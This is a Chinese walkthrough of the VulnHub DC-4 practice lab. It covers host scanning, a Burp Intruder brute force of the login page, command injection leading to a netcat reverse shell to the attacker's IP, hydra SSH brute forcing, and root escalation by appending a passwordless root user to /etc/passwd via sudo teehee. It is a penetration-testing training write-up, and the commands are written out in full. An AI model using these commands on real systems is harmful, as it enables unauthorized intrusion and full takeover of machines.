目录
- 0x00 准备
- 0x01 主机信息收集
- 0x02 站点信息收集
- 0x03 漏洞查找与利用
- 1. 爆破登录
- 2. 命令执行
- 3. 反弹shell
- 4. hydra爆破ssh
- 5. 提权
- 0x04 总结
0x00 准备
下载链接:https://download.vulnhub.com/dc/DC-4.zip
介绍:
DC-4 is another purposely built vulnerable lab with the intent of gaining experience in the world of penetration testing.
Unlike the previous DC releases, this one is designed primarily for beginners/intermediates. There is only one flag, but technically, multiple entry points and just like last time, no clues.
Linux skills and familiarity with the Linux command line are a must, as is some experience with basic penetration testing tools.
For beginners, Google can be of great assistance, but you can always tweet me at @DCAU7 for assistance to get you going again. But take note: I won’t give you the answer, instead, I’ll give you an idea about how to move forward.
重点:只有一个flag。
0x01 主机信息收集
kali本机IP:ifconfig
,网卡eth0,地址192.168.22.28
发现目标主机IP:netdiscover -i eth0
,地址192.168.22.29。
探测目标主机开放端口:nmap -sS -sV -A -n 192.168.22.29
,开放了22端口和80端口,其中80端口使用的nginx1.15.10。
0x02 站点信息收集
访问一下80端口:
看一下网站的目录结构:dirsearch -u 192.168.22.29 -e *
只有一个index.php,有其他的目录也全部重定向到这个页面中了。
index.php就只有一个登录框,其他有用的信息几乎没有。可以考虑爆破。
0x03 漏洞查找与利用
1. 爆破登录
输入username和password以后抓包,传输的明文的用户名和密码:
将抓到的包发送到Intruder(攻击)模块,Attack Type(攻击模式)先选择Sniper(狙击手)模式,盲猜username是admin,所以先只对password进行爆破:
payload set是对哪个字段进行爆破,前一步只设置了password一个字段。payload type选择Simple list简单字典即可。导入top1000的弱口令,点击start attack开始爆破:
对爆破的结果按照length进行排序,回显最长的这个是密码。
登录进来以后,看到下图左边的界面。点击command,到右边的界面。可以运行一些命令,点击run试一下,会回显运行的结果。考虑抓包进行命令执行。注意有个command.php文件。
2. 命令执行
选择一个命令,run一下,抓包。是通过radio这个参数提交run的命令的,并且命令的空格用+代替。
修改radio的值为cat command.php,看一下这个文件的内容。用的shell_exec(),直接考虑反弹shell。
3. 反弹shell
kali中安装netcat:sudo apt install netcat-traditional
kali中监听一个没有被占用的端口:nc -lvp 6666
在burpsuite中,执行:nc 192.168.22.28 6666 -e /bin/bash
(kali的ip)
(将空格替换成+:nc+192.168.22.28+6666±e+/bin/bash)
forward上面的数据包以后,看到已经监听6666端口成功。
执行一下命令ls,可以看到成功。
执行命令:python -c "import pty;pty.spawn('/bin/bash')"
通过python的pty.spawn获得交互式shell。
4. hydra爆破ssh
去home目录下,找到jim用户,进入用户/home/jim/backups目录下面,有一个old-passwords.bak文件,文件内容是一些密码。并且目标机器开启了22端口,考虑是jim账户的密码。
把文件内容保存成a.txt。利用hydra对jim用户名进行爆破。
执行命令:hydra -l jim -P a.txt 192.168.22.29 ssh
ssh连接目标主机,用户名jim,密码jibril04。
命令:ssh jim@192.168.22.29
5. 提权
登录成功后提示有邮件。进入linux的邮件目录:cd /var/spool/mail/
,查看jim文件内容,可以得到一个Charles用户给的密码。
切换到Charles用户:su Charles
查看当前用户的权限:sudo -l
考虑teehee提权。teehee命令可以往一个文件中追加内容,可以通过这个命令向/etc/passwd中追加一个超级用户,用户名为admin,没有密码,并且有root权限。
执行命令:echo "admin::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
添加用户成功以后,切换到admin:su admin
进入root目录,可以看到flag.txt。
0x04 总结
主机信息收集:
- netdiscover探测目标主机ip。
- nmap探测开放端口和服务。
站点信息收集:
- dirsearch查看网站目录结构。
- 利用burpsuite的Intruder模块,弱口令爆破站点的登录密码。
漏洞利用:
- 命令执行,反弹shell。
- hydra爆破ssh。
- teehee提权。